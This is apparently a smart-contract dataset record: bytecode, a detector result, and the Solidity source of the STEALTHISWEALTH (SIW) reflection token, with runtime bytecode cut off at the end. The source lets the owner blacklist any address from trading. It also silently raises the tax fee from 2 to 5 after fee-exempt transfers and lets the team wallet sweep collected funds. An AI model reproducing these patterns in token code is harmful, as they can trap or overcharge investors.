02080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611202565b604051808215151515815260200191505060405180910390f35b34156107c357600080fd5b61080e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611380565b6040518082815260200191505060405180910390f35b341561082f57600080fd5b61084560048080359060200190919050506113a5565b005b341561085257600080fd5b610889600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080351515906020019091905050611421565b005b341561089657600080fd5b6108c2600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611546565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561091f57600080fd5b81600781905550806008819055505050565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109c75780601f1061099c576101008083540402835291602001916109c7565b820191906000526020600020905b8154815290600101906020018083116109aa57829003601f168201915b505050505081565b60008090505b8251811015610a0c576109ff83828151811015156109ef57fe5b90602001906020020151836111d3565b80806001019150506109d5565b505050565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b60045481565b6000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610b3157600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550610bc68484846115e4565b600190509392505050565b600360009054906101000a900460ff1681565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610c3457600080fd5b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816004600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b60075481565b60056020528060005260406000206000915090505481565b60008090505b8251811015610d5a57610d4d8382815181101515610d2657fe5b906020019060200201518383815181101515610d3e57fe5b906020019060200201516111d3565b8080600101915050610d0c565b505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610dba57600080fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806004600082825401925050819055503073ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610f2057600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610fab57600080fd5b81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816004600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a26001905092915050565b60085481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111ab5780601f10611180576101008083540402835291602001916111ab565b820191906000526020600020905b81548152906001019060200180831161118e57829003601f168201915b505050505081565b6000600854348115156111c257fe5b0490506111d03033836115e4565b50565b6111de3383836115e4565b5050565b60096020528060005260406000206000915054906101000a900460ff1681565b6000808490506112128585610a11565b15611377578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561130c5780820151818401526020810190506112f1565b50505050905090810190601f1680156113395780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b151561135a57600080fd5b6102c65a03f1151561136b57600080fd5b50505060019150611378565b5b509392505050565b6006602052816000526040600020602052806000526040600020600091509150505481565b60075481023073ffffffffffffffffffffffffffffffffffffffff1631101515156113cf57600080fd5b6113da3330836115e4565b3373ffffffffffffffffffffffffffffffffffffffff166108fc60075483029081150290604051600060405180830381858888f19350505050151561141e57600080fd5b50565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561147c57600080fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156115a157600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008273ffffffffffffffffffffffffffffffffffffffff161415151561160a57600080fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561165857600080fd5b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011115156116e657600080fd5b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561173f57600080fd5b600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561179857600080fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050505600a165627a7a723058207f7cc973ee42e1825364c8ef4a0736c5d9b555f04020c3605936d3036d296a710029 | {"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}} | 10,149 |
0x959b71263df295be650f0ca1865431847fe22fe4 | /**
*Submitted for verification at Etherscan.io on 2021-08-28
*/
/*
https://t.me/stealthiswealtheth
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract STEALTHISWEALTH is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "STEALTHISWEALTH";
string private constant _symbol = "SIW";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2 ;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 100000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated
(_maxTxAmount);
}
} | 0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a3d565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612ede565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612a01565b6105ad565b6040516101a09190612ec3565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb9190613080565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f691906129b2565b6105dc565b6040516102089190612ec3565b60405180910390f35b34801561021d57600080fd5b506102266106b5565b005b34801561023457600080fd5b5061023d610c12565b60405161024a91906130f5565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a7e565b610c1b565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612924565b610ccd565b005b3480156102b157600080fd5b506102ba610dbd565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612924565b610e2f565b6040516102f09190613080565b60405180910390f35b34801561030557600080fd5b5061030e610e80565b005b34801561031c57600080fd5b50610325610fd3565b6040516103329190612df5565b60405180910390f35b34801561034757600080fd5b50610350610ffc565b60405161035d9190612ede565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612a01565b611039565b60405161039a9190612ec3565b60405180910390f35b3480156103af57600080fd5b506103b8611057565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612ad0565b6110d1565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612976565b61121a565b6040516104179190613080565b60405180910390f35b6104286112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fe0565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613396565b9150506104b8565b5050565b60606040518060400160405280600f81526020017f535445414c544849535745414c54480000000000000000000000000000000000815250905090565b60006105c16105ba6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105e9848484611474565b6106aa846105f56112a1565b6106a5856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065b6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b6106bd6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074190612fe0565b60405180910390fd5b600f60149054906101000a900460ff161561079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079190612f20565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087057600080fd5b505afa158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a8919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090a57600080fd5b505afa15801561091e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610942919061294d565b6040518363ffffffff1660e01b815260040161095f929190612e10565b602060405180830381600087803b15801561097957600080fd5b505af115801561098d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b1919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3a30610e2f565b600080610a45610fd3565b426040518863ffffffff1660e01b8152600401610a6796959493929190612e62565b6060604051808303818588803b158015610a8057600080fd5b505af1158015610a94573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab99190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff02191690831515021790555068056bc75e2d631000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bbc929190612e39565b602060405180830381600087803b158015610bd657600080fd5b505af1158015610bea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0e9190612aa7565b5050565b60006009905090565b610c236112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca790612fe0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cd56112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5990612fe0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfe6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610e1e57600080fd5b6000479050610e2c81611c97565b50565b6000610e79600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b610e886112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0c90612fe0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f5349570000000000000000000000000000000000000000000000000000000000815250905090565b600061104d6110466112a1565b8484611474565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110986112a1565b73ffffffffffffffffffffffffffffffffffffffff16146110b857600080fd5b60006110c330610e2f565b90506110ce81611e00565b50565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fe0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612fa0565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613040565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f60565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90613000565b60405180910390fd5b61159f610fd3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610fd3565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600